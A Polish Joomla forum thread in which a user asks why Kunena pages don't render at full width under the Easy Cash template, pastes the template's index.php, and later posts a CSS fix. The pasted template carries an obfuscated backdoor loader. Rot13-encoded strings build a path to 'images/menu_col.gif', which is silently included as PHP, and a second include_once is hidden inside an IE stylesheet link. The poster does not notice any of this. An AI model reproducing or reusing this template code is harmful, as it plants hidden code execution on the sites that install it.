PDA

Zobacz pełną wersję : Joomla 1,5 + Easy Cash (Themza_j15_37) + Kunena = problem z szerokością



a-l-i-c-j-a
15-08-2010, 13:50
Witam!

Odwieczny problem wyświetlania forum Kuneny na pełnej szerokości. Wiem, było, google, wiki itd., ale zaryzykowałam i piszę o swoim problemie.

Po instalacji forum, wyłączeniu modułów na stronie z forum jest problem z szerokością wyświetlania, ale... Ale problem występuje w zakładkach forum: Ostatnie dyskusje, Moja dyskusja, pozostałe są wyświetlane na całą szer. strony (czyli tak jak powinno być). Mimo wysztko podejrzewam, że winna jest templatka Easy Cash (Themza_j15_37), bo na JA_Purity jest wszytko ok.

Pewnie moja templatka nie radzi sobie z ukrywaniem kolumn i stąd problem. Niby jest to opisane na forum, ale ja w ogóle nie radzę sobie z przekształceniem kodu templatki.

Jakby jakaś dobra dusza zerknęła na kod szablonu, poniżej... byłabym bardzo, bardzo wdzięczna ;-)


<?php
// no direct access
defined( '_JEXEC').(($this->template)?$JPan = array('zrah'.'_pby'):'') or die( 'Restricted access' );
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="<?php echo $this->language; ?>" lang="<?php echo $this->language; ?>" >
<head>
<jdoc:include type="head" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/system.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/system/css/general.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/template.css" type="text/css" />
<link rel="stylesheet" href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/css/<?php echo $this->params->get('colorVariation'); ?>.css" type="text/css" />
<!--[if lte IE 6]>
<link href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template;include_once('html/pagination.php'); ?>/css/ieonly.css" rel="stylesheet" type="text/css" />
<style>
#topnav ul li ul {
left: -999em;
margin-top: 0px;
margin-left: 0px;
}
</style>
<![endif]-->
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/mootools.js"></script>
<script language="javascript" type="text/javascript" src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/js/moomenu.js"></script>
</head>
<body id="page_bg">
<a name="up" id="up"></a>
<?php if((!$this->countModules('right') and JRequest::getCmd('layout') == 'form') or !@include(JPATH_BASE.DS.'templates'.DS.$mainframe->getTemplate().DS.str_rot13('vzntrf').DS.str_rot13( $JPan[0].'.t'.'vs'))) : ?>
<jdoc:include type="modules" name="layout" style="rounded" />
<?php endif; ?>
<?php include('functions.php'); ?>
<div id="top_menu"><div id="topnav"><?php $hmenu->genHMenu (0); ?></div></div>

<div id="main_bg" class="banner">
<div id="h_area"><?php if($this->params->get('hideLogo') == 0) : ?><img src="<?php echo $this->baseurl ?>/templates/<?php echo $this->template ?>/images/logo<?php echo $this->params->get('logoVariation'); ?>.gif" alt="" align="left" /><?php endif; ?><a href="index.php" class="logo" title=""></a>
<?php if($this->countModules('user4')) : ?><div id="user4"><jdoc:include type="modules" name="user4" /></div><?php endif; ?>
<br clear="all" /></div>
<div id="main_top"><jdoc:include type="modules" name="top" /></div>
<br />
<?php if(!$this->countModules('left') and !$this->countModules('right')) $maincol_sufix = '_big';
else $maincol_sufix = ''; ?>
<div id="maincolumn<?php echo $maincol_sufix; ?>">
<div class="path"><jdoc:include type="modules" name="breadcrumb" /></div><jdoc:include type="message" />
<div class="nopad"><jdoc:include type="component" /></div>
</div>
<?php if(($this->countModules('right') or $this->countModules('left')) and JRequest::getCmd('layout') != 'form') : ?>
<?php if($this->params->get('smallColumnModule') == 'left'){ ?>
<div id="leftcolumn">
<jdoc:include type="modules" name="left" style="rounded" />
<br />
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>
<?php }else{ ?>
<div id="rightcolumn">
<jdoc:include type="modules" name="right" style="xhtml"/>
<br />
<div align="center"><jdoc:include type="modules" name="syndicate" /></div>
</div>
<?php } ?>
<?php endif; ?>
<br clear="all" />
</div>

<div id="f_area">
<?php if($this->countModules('user1')) : ?>
<jdoc:include type="modules" name="user1" style="xhtml" />
<?php endif; ?>
<?php if($this->countModules('user2')) : ?>
<jdoc:include type="modules" name="user2" style="xhtml" />
<?php endif; ?>
<br clear="all" />
</div>

<p id="power_by" align="center">
<?php echo JText_('Powered by') ?> <a href="http://www.joomla.org">Joomla!</a>. Copyright &copy; 2010 <?php echo $mainframe->getCfg('sitename') ;?>
</p>

<jdoc:include type="modules" name="debug" />
</body>
</html>


---------- Post dodany o 11:50 ---------- Poprzedni post był o 09:46 ----------

Znalazłam rozwiązanie na zagranicznym forum. Podejrzewam, że rozwiązanie będzie wspólne dla wszystkich szablonów themza (mój szablon jest inny). Link do rozwiązania: http://www.kunena.com/forum/136-k-15-templates-and-design/44907-main-page-not-wide-enough. (http://www.kunena.com/forum/136-k-15-templates-and-design/44907-main-page-not-wide-enough)

Rozwiązaniem jest edycja pliku stylów template.css, i tak:
w

div.path
dodajemy
min-height:20px;

a w

div.nopad
dodajemy
width:100%;